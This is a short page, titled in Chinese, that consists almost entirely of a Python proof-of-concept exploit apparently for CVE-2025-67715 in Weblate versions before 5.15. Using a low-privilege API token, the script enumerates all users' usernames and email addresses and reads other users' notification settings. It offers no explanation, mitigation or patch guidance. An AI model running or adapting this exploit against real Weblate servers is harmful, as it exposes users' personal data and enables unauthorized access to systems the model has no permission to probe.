CVE-2025-67715: Weblate 5.15之前版本API未授权访问漏洞

import requests import json # CVE-2025-67715 PoC - Weblate API Unauthorized Access # Target: Weblate < 5.15 TARGET_URL = "http://target-weblate-server.com" API_TOKEN = "your-low-privilege-user-token" headers = { "Authorization": f"Token {API_TOKEN}", "Content-Type": "application/json" } # PoC 1: List all users via API def list_all_users(): """ Exploit to list all users through API endpoint """ endpoint = f"{TARGET_URL}/api/users/" response = requests.get(endpoint, headers=headers) if response.status_code == 200: users = response.json() print(f"[+] Successfully retrieved user list: {len(users)} users") for user in users: print(f" - Username: {user.get('username')}, Email: {user.get('email')}") return users else: print(f"[-] Failed to list users: {response.status_code}") return None # PoC 2: Get user notification settings def get_user_notifications(user_id): """ Exploit to retrieve user notification settings """ endpoint = f"{TARGET_URL}/api/notifications/{user_id}/" response = requests.get(endpoint, headers=headers) if response.status_code == 200: settings = response.json() print(f"[+] Successfully retrieved notification settings for user {user_id}") print(f" Settings: {json.dumps(settings, indent=2)}") return settings else: print(f"[-] Failed to get notifications: {response.status_code}") return None if __name__ == "__main__": print("[*] CVE-2025-67715 PoC - Weblate < 5.15 API Unauthorized Access") print("[*] Testing user enumeration...") list_all_users() print("\n[*] Testing notification settings access...") get_user_notifications(1)